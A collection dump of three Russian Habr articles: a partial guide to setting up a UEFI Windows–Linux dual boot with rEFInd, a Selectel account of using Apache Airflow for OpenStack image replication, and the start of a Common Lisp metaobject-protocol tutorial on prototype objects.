4. Установка Linux-дистрибутива на оставшуюся часть диска.
5. Установка и конфигурация rEFInd.
6. Удаление GRUB и полный переход на rEFInd.
На первый взгляд всё очень просто, всего 4 базовых пункта, но тут есть огромное количество нюансов.
Ошибки делают на всех этапах: входят в режим Legacy-bios, указывают не тот загрузочный раздел, просто не понимают, что делают и т.д. В конечном итоге всё это приводит к массе боли и страданиям на форумах, в чатах, и т.д. На деле же всё нереально просто, нужно просто понимать, что ты делаешь на каждом этапе и проверять себя.
Сначала немного теории
----------------------
UEFI видит только один специальный ESP-раздел, обычно он имеет размер 100-200 мегабайт и форматирован в FAT32 (бывает в FAT16), в нем содержаться папки с названиями а-ля Boot, Microsoft, Fedora, Ubuntu и т.д. Если вы перепробовали достаточное количество ОС и никогда не форматировали этот раздел, то там могло набраться приличное количество папок. К примеру, у меня было 2 живых оси и лежало около 6 папок.
**P.S.** [CodeRush](https://habr.com/ru/users/coderush/) подсказал, что поддерживаются все FS, если на них есть [соответствующие драйверы](http://efi.akeo.ie/downloads/efifs-0.9/x64/):
> Это неверно. UEFI видит все разделы, для ФС которых в конкретной реализации прошивки имеются драйверы. ESP же отличается от остальных разделов только тем, что а) для FAT драйвер иметь обязательно и б) на разделе ESP осуществляется поиск загрузчиков и автоматическое создание соответсвующих переменных BootXXXX, если загрузчики нашлись.
В самих папках лежат исполняемые файлы .efi которые и выступают в роли загрузчиков ОС. В папке debian вы наверняка обнаружите файл `grubx64.efi`, а в папке Microsoft – `bootmgr.efi`.
Большинство Linux-дистрибутивов монтируют ESP-раздел к `/boot/efi`, то есть загрузчик Debian будет лежать примерно на таком пути: `/boot/efi/EFI/debian/grubx64.efi`
C директорией разобрались, а что дальше?
А дальше нужно понимать, что существует ещё порядок загрузки, которым можно руководить с помощью утилиты `efibootmgr`, если у вас её нет, то можете скачать через свой пакетный менеджер, во всех стандартных репозиториях она присутствует. Для начала можете просто ввести эту команду и увидеть список порядка загрузки, а также все UEFI-записи. Если хотите разобраться с утилитой, то курите ман и читайте интернеты, в целом она весьма простая. Злой Windows как раз-таки тут и затирает наш GRUB и ставит Windows Boot Manager первым приоритетом, поэтому его приходится восстанавливать. Скажу лишь как редактировать записи:
`efibootmgr -b <номер записи> -<модификатор редактирования> <параметр модификатора>`
К примеру, `efibootmgr -b 0 -B` означает удалить запись 0.
**P.S.** [CodeRush](https://habr.com/ru/users/coderush/) и другие комментаторы заметили, что efibootmgr является весьма опасной утилитой и отмечают, что гораздо безопасней пользовать EFI Shell.
По факту GRUB можно вообще не трогать, потому что он наверняка так и лежит в папке `EFI/<название дистрибутива>`, нужно лишь восстановить запись и выставить первый приоритет, но зачем что-то копать если можно chroot’нуться и ввести `grub-install`? В большинстве случаев он сделает всё сам.
Кстати, стоит не забывать, что базовым функционалом `efibootmgr` обладает и сам, собственно, UEFI, он умеет читать эти записи и выстраивать приоритеты. Но сам просматривать ESP-разделы и добавлять новые записи он не умеет, эти обязанности возложены на EFI Shell и операционные системы.
**P.S.** [CodeRush](https://habr.com/ru/users/coderush/)
> Еще как умеет, и это умение требуется спецификацией начиная с UEFI 2.2 (SecureBoot появился в UEFI 2.3.1C).
**И на последок:** Все ваши действия в `efibootmgr` записываются в NVRAM! В большинстве случае UEFI умеет восстанавливать битый NVRAM каждый раз проверяя его и перезаписывая, в случая неполадок. Однако некоторые недобросовестные производители выпускают сырые прошивки и можно получить самый настоящий кирпич. К примеру ноутбуки с UEFI на базе Phoenix SCT окирпичиваются! Так что перед тем как продолжить читать, удостоверьтесь, что ваша модель материнской карты или ноутбука, устойчива к таким экспериментам.
**P.S.** Уже после написания большей части статьи я вспомнил про Secure Boot. Обычно UEFI тянет его за собой, но в большинстве случаев его можно весьма просто отключить в настройках UEFI. Многие Linux-дистрибутивы поддерживают его, но я всё же рекомендую его отключить, так как он может потянуть за собой массу проблем.
Базовый экскурс в теорию закончен.
Теперь можно перейти к практике
-------------------------------
**Дисклеймер**: Сразу оговорю, что я предпочитаю стерильные условия и сам делаю полную переустановку с помощью проверенных лично мной утилит. Если вы будете использовать другие утилиты, то, пожалуйста, не пишите почему у вас что-то не получается на том или ином этапе. Мой вариант проверен сотнями переустановок друзьям и коллегам.
### Первым делом нам нужно записать Windows
Потому что если поставить Windows второй, то она затрет загрузчик. Восстановить? Без проблем. Но зачем возня, если можно сразу сделать всё по уму? Впрочем я всё равно обговорю нюансы восстановления чуть позже в конце статьи.
В отличии от Linux, Windows записать гораздо проще, на мой взгляд. Первый способ до возможно многим знаком, нужно просто зайти в cmd.exe от имени администратора и ввести эти команды. Не сложно заметить, то тут нет абсолютно никакой магии. Мы просто форматируем флешку в FAT32:
`diskpart
list disk
select disk <номер флешки>
clean
create partition primary
select partition 1
active
format fs fat32 quick
assign
exit`
После этого нужно просто открыть ISO-файл архиватором и перекинуть содержимое на чистую флешку. Всё, UEFI-флешка готова. На Linux можно сделать всё аналогичным образом, просто форматируем в FAT32 и копируем содержимое.
Полученную флешка должна отлично загружаться любым ПК с поддержкой UEFI.
> Кстати, обратимся к теории: наш образ с Windows 10 содержит папочку efi, в ней как раз лежит всё добро для начала загрузки, которое должен увидеть наш UEFI. Поэтому простого форматирования и копирования в большинстве случаев хватает для большинства ПК.
Однако я предпочитаю второй способ с использованием [утилиты Rufus](http://rufus.akeo.ie/). Он меня никогда не подводил. Однако это Windows-only способ. На Linux-системах использование ddresque для создания загрузочной флешки Windows НЕ РАБОТАЕТ. Так что пробуйте другие утилиты, если первый способ с простым форматирование не помог.
Всё что вам будет нужно: выбрать вашу флешку, выставить параметр *«Схема раздела и тип системного интерфейса»* на ***«GPT для компьютеров с UEFI»***, и нажать старт. Остальные параметры трогать не нужно. Лучше использовать флешки помельче (на 8-16 гигабайт).
Наверняка один из способов должен был прокатить, лично я ни разу с проблемами на этом этапе не встречался, главное чтобы компьютер поддерживал UEFI.
### Поэтому перейдем к этапу установки
После загрузки в UEFI-режиме делаем всё по стандартной схеме, но на этапе выбора типа установки выбираем «экспертную», то есть мы разметим раздел сами. Размечать рекомендую аккуратно, особенно если дисков много. Наконец, выбрав диск, удалите все существующие разделы. Создайте один раздел с нужным вам размером, к примеру, 150 гигабайт. (Если вы предпочитаете создавать два и более разделов для ОС и файлов — без проблем, создавайте). Выберете этот раздел кликом мышки и нажмите *«Далее»*. И если вы всё сделали верно, то Windows попросит вас создать дополнительные. Обязательно отвечайте *«Да»*. Система создаст три раздела. Два своих для системных нужд и один тот самый нужный нам EFI-раздел. У меня он по нумерации всегда второй, всего получится 4 раздела, включая пользовательский NTFS. Если установщик не предложил создать разделы или создал всего один, то значит вы загрузились в Legacy-режиме и нужно перезаписывать флешку, что-то пошло не так. К сожалению редактор разделов Windows-установщика крайне слаб по возможностям, поэтому пробовать размечать разделы под будущий Linux тут смысла нет, оставляем это место попросту свободным. Дальше устанавливаем всё в штатном режиме.
Кстати, один из признаков правильной установки Windows в UEFI-режиме, появление логотипа производителя материнской карты / ноутбука / планшета при загрузке. Во многих UEFI (к примеру от ASUS и ASRock) есть отдельная настройка для этого. Так что если логотипа нет, но всё остальное прошло как по маслу, то ничего страшного в этом нет.
> Тонко настраивать Windows на данный момент не рекомендую, так как если что-то пойдет не так, то возможно придется переустановить.
### Записываем Linux?
Ага. После входа в Windows рекомендую сразу скачать образ выбранного вами дистрибутива и записать его аналогичным образом **через Rufus**. Правда в случае с Linux-дистрибутивами Rufus может спросить массу вопросов, к примеру он может попросить подгрузить загрузчик syslinux с интернета или выбрать режим записи образа: ISO или DD. На все вопросы отвечаем *«Да.»*, то есть да, скачиваем последнюю версию syslinux и записываем в режиме ISO. Проверено на Ubuntu (и её вариациях Server, Mate, GNOME), Fedora, RHEL7, Debian и других.
### До Dual Boot буквально один шаг
В отличии от Windows большинство дистрибутивов имеют отличную индикацию UEFI-режима. К примеру Debian в своем установщике черным по белому пишет, что система запущенна в UEFI-mode. Другие дистрибутивы проявляют это странным grub-загрузчиком, который выглядит «как-то не так».
Думаю если вы собрались ставить Linux, то вы наверняка сами знаете как ставить ваш любимый дистрибутив, поэтому я не буду заострять внимание на подробностях установки отдельно взятого дистрибутива. Потому что этот этап до боли прост. Если вы уже действительно прогрузились в UEFI-режиме и установили Windows как надо, то Dual Boot уже практически в кармане.
**Итак всё что вам потребуется сделать при установке Linux**:
Выбрать раздел `/dev/sda2` (в вашем случае это может быть другой раздел) и указать точку монтирования — `/boot/efi`. Всё. Нет, правда, всё. Разумеется не забудьте разметить *ext4 / Btrfs / ReiserFS / XFS / JFS* раздел, примонтировать его в корень /. Кому нужен swap (если нужен) создайте и его. Дальше установщик вашего дистрибутива сделает всё сам, установит в директорию `EFI/<название дистрибутива>` свой GRUB и найдет запись Windows (`EFI/microsoft`).
> Данная логика была проверена во всех вышеозначенных дистрибутивах. То есть повторюсь ещё раз: Главное показать вашему дистрибутиву где у вас этот заветный ESP-раздел и куда надо ему кидать загрузчик. Он его не форматирует, а просто добавляет GRUB. А вот уже сам GRUB вершит магию, изменяет приоритеты загрузки и т.д. Замечу, что некоторые дистрибутивы сами монтируют этот раздел куда надо, так как видят флаги ESP и BOOT. К примеру в установщике Debian нужно просто создать пользовательский раздел и всё.
Наводим красоту, ставим rEFInd
------------------------------
К ~~сожалению~~ счастью я болею сильной формой перфекционизма. И простой GRUB2 меня не устраивал, больно он страшный и не красивый. Беглый гуглинг рассказал мне о BURG, «красивом» форке GRUB, но он был заброшен и на данный момент скорее мертв, чем жив. К счастью для UEFI-машин есть отличная альтернатива — rEFInd. rEFInd является форком, заброшенного ныне rEFIt, а также его логическим продолжением. Первый создавался в первую очередь для Mac'ов и работы рядом с Boot Camp, нынешний форк такой узкой специализации не имеет и подходит практически для любых конфигураций.
> Стоит сразу заметить, что rEFInd НЕ является загрузчиком. Это так называемый Boot Manager, он вызвает другие .efi-бинарники к исполнению, а также может направить UEFI на запуск ядра прямо с раздела `/boot`. Другими словами то есть систему загружает не он, а сам UEFI. Для Multi-Boot машин является отличным решением. Сам по себе rEFInd является .efi-приложением, собранным средствами UEFI Shell. Сам находится в директории `EFI/refind/refind_x64.efi`
Помимо того, что можно выбирать между уже установленными системами на ПК, приятным плюсом можно выделить автоматическое обнаружение загрузочных флешек и дисков. На КПДВ это можно увидеть. У меня имеется загрузочная флешка с Debian (не установщиком, а полноценной ОС) и можно увидеть удобную индикацию того, что это именно флешка, а не что-то другое. Если у вас имеется несколько ядер, то их список можно увидеть по нажатию клавиши F2. Помимо этого в файле `/boot/refind_linux.conf` можно задать несколько вариантов с разными параметрами ядра (например первый — стандартный для загрузки GUI, второй — безопасный режим без видеодрайвера и т.д, можно сделать дюжину вариантов, по умолчанию всего три). Также в папку `EFI/tools` можно накидать различных .efi-бинарников, к примеру UEFI Shell или memtest86+. rEFInd их автоматически подхватит и покажет в нижнем ряду как утилиты.
**Еще пара скринов**
### Хотите также?
Процесс установки из под Linux необычайно прост. Все способы описаны на официальном сайте, устанавливать можно практически из любой ОС. Для начала [посетите эту страничку](http://www.rodsbooks.com/refind/getting.html) и скачайте .deb- или .rpm-пакет.
> Если у вас редкий дистрибутив вроде Slackware или Gentoo, то лично я вам помочь не смогу, но на сайте есть обычный .zip-архив и другие варианты установки, так что если уж вы работаете в подобных дистрибутивах, то наверняка поставить своими силами вы сможете без проблем.
Сделайте бэкап EFI-директории:
`cp -r /boot/efi/EFI /boot/EFI.bkp`
После загрузки пакета, выполните:
`cd Downloads` или `cd Загрузки`
И установите пакет:
`sudo dpkg -i <имя пакета>.deb` или `sudo dnf install <имя пакета>.rpm`
В моем случае `dpkg` не мог иногда подтянуть зависимости, если у вас возникнут такие же трудности, то установите gdebi (`sudo apt-get install gdebi`) и выполните `sudo gdebi <имя пакета>.deb`.
Если у вас RHEL или CentOS, то используйте `yum` вместо `dnf`.
В логах установки пакета можно отследить лог установки rEFInd, в котором возможно будут ошибки их надо сразу отследить. Однако по моему опыту ошибок не возникает, если всё сделать правильно. Проверить результат работы установщика rEFInd можно, воспользовавшись утилитой `efibootmgr`, там первым приоритетом должна должен быть именно rEFInd Boot Manager.
Установить rEFInd повторно, если пакет уже установлен, можно с помощью команды:
`refind-install`
Установку rEFInd первым приоритетом можно произвести в ручную, с помощью команды:
`refind-mkdefault`
Перезагружаемся.
### Всё очень страшно и откуда у меня столько ОС?
Да, всё страшно, пока. На самом деле ОС у вас всего две. Просто rEFInd собрал все .efi-бинарники и ещё отобразил ОС с возможностью загрузки напрямую. Для исправления этого недоразумения мы удалим лишнее, напишем свой конфиг и поставим красивую тему на rEFInd.
Первым делом зайдите в Linux, выбрав один из рабочих пунктов загрузки. В меню должен быть пункт для загрузки БЕЗ использования grubx64.efi! В разделе `/boot` проще работать из под администратора (потому у команду `cd` не хватает привелегий, а `sudo` она не работает), так что `su` и вводим пароль root'а.
Этот пункт не зря опциональный, потому что если у вас недостаточно опыта, то можно очень просто что-то сломать и не заметить. Рекомендую подготовить флешку с рабочим LiveCD, чтобы проводить восстановление, в случае неожиданностей.
Наша первая задача — удалить лишние директивы загрузки, их запросто может быть штук 6, а системы всего две.
Заходим в директорию:
`cd /boot/efi/EFI && ls`
Вероятно тут будет пять папок:
BOOT, microsoft, <ваш дистрибутив>, refind и tools.
Если будет что-то лишнее — смело удаляйте.
**Способ 1 *(через очищение, опаснее)***:
Убедившись что вы загрузились через rEFInd (!) и НЕ использовали для этого GRUB можете смело удалить папку вашего дистрибутива. Перезагрузитесь и проверьте, можете ли вы загрузиться в ваш Linux. Если можете, то вероятно в меню загрузки осталось 4 директивы: Windows, Linux и два странных пункта, которые приводят (скорее всего) к загрузке Linux. Можно было догадаться, что это .efi-бинарники из папки `EFI/BOOT`. Папку можно удалить полностью. НО! Убедитесь, что у вас есть бэкап. Перазагружаемся. Всё отлично?
Удаляем GRUB:
`sudo apt-get remove grub2 grub2-efi grub grub-efi`
Или:
`sudo dnf remove grub2`
Теперь можно ставить тему.
> Некоторые UEFI другие директории вовсе не видят. Поэтому небольшой work around для таких систем существует. Удаляем папку BOOT, переименовываем папку refind в папку BOOT, а также сам файл refind\_x64.efi в bootx64.efi. Перезагружаемся.
**Способ 2 *(через конфиг rEFInd, безопаснее)***:
Этот способ гораздо безопаснее, потому что удалять и что либо трогать мы не будем, мы добьемся результата правильной настройкой конфига. Сам конфиг лежит тут: `/boot/efi/EFI/refind/refind.conf`
Чтобы настроить свой набор директив загрузки нужно использовать два параметра `scanfor` и `menuentry`, после настройки должен получится примерно такой конфиг:
`# Сканируем записи созданные ручкуами, флешки и оптически приводы
scanfor manual,external,optical
# Пункт для загрузки Linux
menuentry Linux {
loader /EFI/ubuntu/grubx64.efi
icon /EFI/refind/icons/os_linux.png
}
# Пункт для загрузки Windows 10
menuentry "Windows 10" {
loader \EFI\Microsoft\Boot\bootmgr.efi
icon /EFI/refind/icons/os_win.png
}`
Разумеется это только часть конфига, другие параметры можно взять из примера
**Мой конфиг на базе первого способа с комментариями**
`# Ожидание в секундах перед авто-выбором ОС
timeout 20
# Скринсервер через 300 секунд, если ничего не выбрали,
# но нажали любую клавишу и отменили автовыбор
screensaver 300
# Разрешение бут-менеджера
resolution 1280 1024
# Использовать графику при загрузке Linux. Этот параметр позволит загружать ОС с красивой Plymouth
# заставкой в разрешении указанном выше
use_graphics_for linux
scanfor internal,external,optical,netboot,biosexternal
# Подключение темы
include themes/refind-theme-regular/theme.conf`
Отдельно про Plymouth можно почитать [здесь](https://ru.wikipedia.org/wiki/Plymouth_%28%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%8D%D0%BA%D1%80%D0%B0%D0%BD_%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B8%29).
**Включение красивой темы**
С этим всё просто, чуть выше последняя строчка конфига указывает на .conf-файл темы. Сами темы желательно класть в папку `/boot/efi/EFI/refind/themes`. По-умолчанию её нет, создайте через `mkdir`.
Заходим в директорию themes и просто пишем `git clone https://github.com/munlik/refind-theme-regular.git`. В конфиге прописываем строку `include themes/refind-theme-regular/theme.conf`
Другие темы можно посмотреть на [оф. сайте](http://www.rodsbooks.com/refind/themes.html).
Там же можно посмотреть подробные процессы установки, параметры для тонкой настройки конфига и многое другое.
Пожалуй на этом всё. Мы получили красивый бут-менеджер для выбора нужной ОС с полной поддержкой UEFI. Пункт с установкой rEFInd наиболее сложный, а поэтому опциональный, большинству хватит `grub2-efi`.
Напоследок небольшое видео от меня:
Наверняка закралось приличное количество ошибок в тексте, буду рад, если вы отпишите о них мне ЛС.
UPD 28.10.2022: Друзья, статье уже 6 лет, несмотря на то, что rEFInd технически до сих пор актулен, я перешёл на [systemd-boot](https://wiki.archlinux.org/title/systemd-boot), на мой взгляд он проще и удобней в настройке.
|
https://habr.com/ru/post/394005/
| null |
ru
| null |
# Как поменять архитектуру облака и не поломать пользовательский опыт
Каждой компании важно оправдать ожидания клиентов, особенно публичному сервису. В случае облачных провайдеров клиенты приходят, чтобы быстро и привычным способом получить, например, виртуальную машину. Их мало волнует, что бывает взрывной рост запросов, в ЦОД приезжает новое железо, а инженеры заняты масштабной миграцией другого пользователя. Клиентам важно быстро получить услуги и отказоустойчивость сервиса. Любое, даже незначительное изменение во внутреннем пространстве сервиса может привести к проблемам на стороне клиентов, как минимум к увеличению времени создания машины.
**Константин Еремин**, старший системный администратор дежурной службы [«Облачной платформы Selectel»](https://slc.tl/4aoOE), рассказал, как поменять архитектуру облака на OpenStack и не поломать пользовательский опыт. На примере выдуманного провайдера Vanilla cloud solutions он объяснил, как определить масштаб проблемы. Почему, перебрав различные варианты, разработчики пришли к Apache Airflow? Какую схему использовали для реализации своих задач и что им удалось сделать с облачным сервисом с помощью выбранного инструмента? Рассказываем под катом.
[Selectel](https://slc.tl/VqhmI) — IaaS-провайдер с 6 собственными дата-центрами в 3 регионах России. Компания не только предоставляет услуги по аренде и размещению выделенных серверов, но и развивает облачную платформу на базе OpenStack. На упрощенной схеме взаимоотношения отдельных частей облака Selectel выглядят так:
Это неупорядоченный flow зависимости всех сервисов между собой, но мы рассмотрим только три сервиса, которые ответственны за:
1. Виртуальные машины;
2. Образы;
3. Диски.
Клиент приходит в облако за виртуальной машиной. Для ее запуска нужны диски. Если клиент уже есть в системе, от его прошлой виртуальной машины остался диск и его надо просто подключить к виртуальной машине. Если диска нет, то клиенту достаточно создать его из образа для получения новой виртуальной машины. Образы живут в хранилище.
### Vanilla cloud solutions
В сервисе есть два вида образов. Первый — клиентский образ, заранее подготовленный и загруженный со стороны, либо сделанный на основе старого диска. Второй — публичный образ, который распространяется облачной платформой. Чтобы дальше не погружаться в OpenStack, всевозможные сервисы и их зависимости, давайте рассмотрим все на примере сферического cloud-провайдера в вакууме. Назовем его Vanilla cloud solutions. У него будет типичная конфигурация одного региона облака.
Если убрать все лишнее, регион состоит из четырех базовых сущностей:
1. Control Plane (API, endpoints, control, env) — служебная часть, которая не масштабируется. Некоторые сервисы могут выезжать в отдельные инсталляции, но, в целом, этот слой не трогаем.
2. Network
3. Hypervisors — часть, где крутятся виртуальные машины, она с большей вероятностью будет подвержена масштабированию.
4. Storage’s clusters — кластеры хранилищ, именно здесь хранятся служебные и пользовательские данные, включая диски и образы.
Когда происходит взрывной рост клиентов, облачному провайдеру необходимо масштабироваться. На первый взгляд кажется, что все это можно растянуть на соседнюю физическую локацию — в соседний машинный зал, на соседнем этаже, в соседнем здании. Если есть отдельная сетевая часть, отдельное питание, кондиционирование и резервирование, то почему бы нам не сделать так:
Поверх такой архитектуры клиенты смогут реализовать отказоустойчивость на уровне как минимум еще одной зоны доступности. А процесс создания диска будет происходить на уровне Ceph, когда данные льются с одного пула в другой по широченному каналу.
Но если у нас появляется вторая зона доступности, а хранилище с образами остается одно, то инициатор ходит в старый бэкенд и забирает оттуда образ к себе или в свой пул. В результате через Control Plane пойдут тысячи образов и дисков. Реализация OpenStack достаточно специфичная: если у вас есть 10 образов, из которых вы хотите создать 100 дисков, то нужно скачать 100 образов.
А хочется, чтобы инициатор ходил в общий Control Plane, в общий бэкенд и забирал оттуда метаинформацию. Чтобы создавались диски и происходило резервирование, а образ, независимо от того, где он был создан в первый раз, оказался в обеих зонах.
К сожалению, такое возможно лишь в несуществующем Vanilla cloud solutions. До релиза Rocky в OpenStack нельзя было подключить два бэкенда. А раз нет второго бэкенда, то не будет репликации, синхронизации и взаимодействия с Control Plane. На момент решения проблемы добавление второго бэкенда не предвиделось, поэтому разработчики искали альтернативный путь. Посмотрим на примере Vanilla cloud solutions, к какой системе нужно было прийти:
Естественно, все это должно быть автоматизировано. Необходим не просто планировщик, а система, управляющая всем процессом в фоне. После определения сути проблемы, остается выяснить ее масштабы. Для этого в Selectel проанализировали какое количество образов было создано за определенный период и какой средний размер этих образов. Оказалось, что у последних 3949 образов размер редко превышал 12 Гб. А еще 95% пользователей используют образ в первые 20 минут после его создания. Более того, в первый час большинство образов удаляется. Соответственно, клиенту этот образ необходим как можно быстрее.
Images size distribution (ex. outliers), GBИщем функциональное решение
---------------------------
Можно напилить скрипт на Bash, положить в Cron, и все будет работать. Но таким решением невозможно управлять. Его невозможно контролировать, мониторить и скалировать. Девелоп-решение тоже будет малоэффективно. Во-первых, у разработчиков Selectel уже был опыт использования Celery. Это был лишь движок, но все равно оставалась необходимость в планировщике, мониторинге и ручном администрировании, а это огромный объем кода и дополнительных работ. Во-вторых, нужно было решение, которое можно моментально внедрить и столь же молниеносно выпилить, в случае если этот функционал приехал бы в новом релизе OpenStack.
> Если хотите узнать больше об архитектуре облака Selectel, рекомендуем эти видео:
>
> — [Обзор облачной платформы: как все работает](https://slc.tl/bWZAf)
>
> — [Q&A: облако. Эксперты компании отвечают на вопросы пользователей](https://slc.tl/m6Ias)
>
>
В этот момент в Selectel произошел DevOps: администраторы и разработчики решили покопать дальше и обратили внимание на Apache Airflow.
### Apache Airflow
Apache Airflow позволяет не писать дополнительные обвязки вокруг Celery, чтобы создавать, редактировать, мониторить, а также скедулить таски. Его можно развернуть из коробки буквально одной командой — «docker compose up», получить веб-интерфейс со множеством примеров различного уровня сложности и всевозможными flow. Основная сущность Apache Airflow — DAG (Directed acyclic graph), набор задач, которые необходимо выполнить в строгом порядке и зависимости.
Так выглядит один из стандартных примеров, который входит в базовый набор. Он более или менее похож на то, что было нужно Selectel: цикл, задача, которая выполняется после цикла и финишная таска с условиями ее успешного выполнения. По каждой задаче можно посмотреть, когда она была выполнена, и статус ее выполнения. Все это пишется на Python, также есть выбор для движка, который занимается непосредственным выполнением задач. В Selectel выбрали привычный разработчикам Celery.
Достаточно импортнуть несколько библиотек, чтобы на выходе получить верхнеуровневый код. В основе Apache Airflow лежат операторы Bash, Python, Docker, Http, SQL и Slack. То есть это универсальный инструмент для любителей писать на Bash поверх Python или на Python поверх Python. А для поклонников Slack даже есть нативный оператор, который позволяет общаться напрямую. Киллер-фичей этого решения разработчики посчитали сенсоры, которые позволяют выполнять задачи без cron’а и цикличных расписаний. Они просто реагируют на изменение конкретных параметров.
Пример кода DAG
```
from datetime import timedelta
from airflow import DAG
from airflow.operators.bash import BashOperator
from airflow.operators.dummy import DummyOperator
from airflow.utils.dates import days_ago
args = {
'owner': 'airflow',
}
with DAG(
dag_id='example_bash_operator',
default_args=args,
schedule_interval='*/1 * * * *',
start_date=days_ago(2),
dagrun_timeout=timedelta(minutes=60) ,
tags=['example', 'example2'],
params={"example_key": "example_value"},
) as dag:
run_this_last = DummyOperator(
task_id='run_this_last',
)
# [START howto_operator_bash]
run_this = BashOperator(
task_id='run_after_loop',
bash_command='echo 1',
)
# [END howto_operator_bash]
run_this >> run_this_last
```
На выходе получается следующее:
Одна из основных функций Airflow — возможность визуально отследить процесс выполнения задач. Понять, выполнение каких задач завершилось успехом, каких — ошибкой, а какие даже не были выполнены, из-за несоблюдения условий и/или зависимостей. На этом примере видно, что выполнение одной из задач завершилось ошибкой, поэтому финишная задача не запустилась. Такой подход позволит вам производить тонкую настройку продуктовых окружений, путем точного построения графов задач. Если что-то ни в коем случае не должно доехать до прода и реализации, просто добавьте сверху дополнительные таски, которые должны выполниться, и получите такой результат.
Если вы любите смотреть в консоль, когда задача сфейлится, то в поисках логов вам придется бегать по всем воркерам и экзекьюторам. Airflow же позволит вам проверить результат и узнать все подробности прямо в веб-интерфейсе: на какой ноде это произошло, что не взлетело и почему.
Вы увидите, например, что какой-то цикл бесконечно выполняется. В результате получается вот такой наглядный отчет:
По нему сразу видно, какой DAG не выполнился и почему, что вообще не было запущено и что надо поправить. Вы сможете мониторить каждую задачу отдельно и видеть, почему не выполняется конкретный скрипт. Проанализировать ее, сопоставить с другими задачами, которые происходят в вашей инфраструктуре, и получить на выходе следующую схему:
С решением разработчики определились. Следующим вопросом стала подготовка окружения. Для внедрения Apache Airflow нужны: хосты, на которых вы запустите веб-сервер со скедулером; воркер; БД; очередь сообщений. Отличительная особенность Airflow в том, что при выборе движка для каждой из перечисленных сущностей всегда есть выбор. Например, специалисты Selectel выбирали между Celery, MySQL и RabbitMQ, потому что в OpenStack это все есть. Вы можете выбрать Kubernetes, PostgreSQL и Redis. Поэтому задача заключается в том, чтобы превратить абстрактный вариант того, что вы хотите в конкретные DAG:
У Selectel получилась следующая схема с необходимым порядком выполнения коллбэков и ревертов. Например, если таска сфейлилась, надо не только остановить выполнение, но и откатиться к предыдущей задаче и выполнить ее с другими параметрами.
### Заключение
В Selectel запустили всего два контейнера на каждый регион в каждом пуле и написали один DAG, чтобы решить свою проблему. Им понадобились только скедулер, веб-сервер и сам воркер. В результате они получили отказоустойчивые зоны доступности и высокую скорость запуска инстансов.
Благодаря новому инструменту теперь они могут легко масштабироваться, а их клиенты получают высокую скорость запуска виртуальных машин. У них получилось добавить вариативности, способствующей отказоустойчивости клиентской архитектуры поверх облака. Учитывая рост и темпы развития облака компании, было критически важно вносить изменения в архитектуру облака в том время, как клиенты продолжают пользоваться сервисами «Облачной платформы». Сейчас разработчики Selectel могут выкатывать новый сервис, фичу или обновление, а виртуальные машины клиентов продолжают работать.
Опыт работы с универсальным инструментом оказался настолько успешным, что его планируется применять в других задачах.
Видео выступления Константина на DevOps Conf 2021 можно посмотреть [здесь](https://clck.ru/XFwQr).
> Для тех, кто соскучился по профессиональному нетворкингу и хочет быть в курсе всех передовых решений — [бандл](https://clck.ru/XFwLz) из двух конференций Saint HighLoad и HighLoad++ 2021 c 20% cкидкой. Предложение действительно до 19 сентября 2021 года.
>
>
|
https://habr.com/ru/post/554670/
| null |
ru
| null |
# Метаобъектный протокол Common Lisp на примере реализации прототипной объектной системы
Введение
========
Common Lisp, а точнее, его объектная система, CLOS, предоставляет пользователю языка совершенно замечательный механизм, а именно, метаобъектный протокол.
К сожалению, очень часто этот компонент языка незаслуженно остается без должного внимания, и в данной статье я постараюсь это несколько компенсировать.
Вообще, что такое метаобъектный протокол? Очевидно, это слой объектной системы, который, судя по названию, каким-либо образом оперирует над ней самой, и управляет ей.
Для чего он нужен? На самом деле, в зависимости от языка и объектной системы, список применений может быть практически безграничен. Это как добавление коду декларативности(аннотации в Java и аттрибуты в C#), так и разнообразная генерация кода и классов в рантайме(здесь можно вспомнить разнообразные persistance и ORM фреймворки), так и многое другое.
С моей лично точки зрения, лучше всего метаобъектные протоколы себя зарекомендовали со стороны закрепления паттернов проектирования на уровне объектной системы. Такие паттерны, как, скажем, синглтон, которые в языках без достаточно развитого ООП приходится снова и снова реализовывать методом copy-n-paste, в моем любимом Common Lisp создаются буквально из пары десятков строчек кода и переиспользуются в дальнейшем исключительно указанием метакласса[[1]](#1).
Тем не менее, в нижеследующем тексте я хочу сосредоточиться на кое-чем более интересном, а именно — на изменении правил работы самой объектной системы, самих ее основ. Именно добавление возможностей подобного изменения и было ключевой целью разработчиков метаобъектного протокола для Common Lisp.
Итак, дальнейший текст будет посвящен созданию прототипной объектной системы, подобной JavaScript, в Common Lisp, с использованием метаобъектного протокола и интеграцией ее в CLOS. Полный код проекта доступен на github[[2]](#2).
Поехали
=======
Собственно первое, что нужно сделать, это создать метакласс для всех классов, участвующих в нашей прототипной системе.
```
(defclass prototype-class (standard-class)
()
(:documentation "Metaclass for all prototype classes"))
```
Вот так вот просто. На самом деле, класс классов нам нужен исключительно для переопределения стандартных механизмов работы со слотами(т.е. полями класса) у наших объектов, и об этом чуть подробнее.
В CLOS MOP каждый слот объекта в классе представляется так называемыми slot-definition. Slot-definition, как понятно из названия, определяют метаинформацию о полях класса, а бывают они двух видов:
* **direct-slot-definiton** Собственно, как, возможно, понятно из названия, представляют собой они то, что мы непосредственно указали при определении класса, скажем с помощью формы *defclass*.
* **effective-slot-definition** — «Определение фактического слота». Они описывают слоты, которые существуют, грубо говоря, в объектах нашего класса.
Чтобы разница была понятна, стоит подробнее описать протокол инициализации классов.
В CLOS, при создании(определении) класса в нем(в его метаобъекте) до определенного времени хранится непосредственно только та информация, которую мы указали(скажем, в *defclass*). Это какая-то информация об определенных в нем полях(*direct-slot-definition*), это список классов от которых он наследуется, и разные другие вещи которые мы, еще раз повторюсь, непосредственно указали при создании. После создания класса, мы некоторое время спустя можем его редактировать.
В определенный момент, с метаобъектом класса происходит некоторая вещь, называемая финализацией. Обычно она происходит автоматически, в основном при создании первого объекта класса, но может также быть вызывана руками.
В принципе, можно провести некоторые параллели со статическими конструкторами классов в языках вроде C#. Финализация, грубо говоря, завершает создание класса. В этот момент высчитывается так называемый *Class Precedence List*(а если по-русски, «список порядка наследования» класса, грубо говоря топологическая сортировка всех классов, от которых наш наследуется), и на основе этой информации определяются «фактические» слоты, которые объекты нашего класса будут хранить.
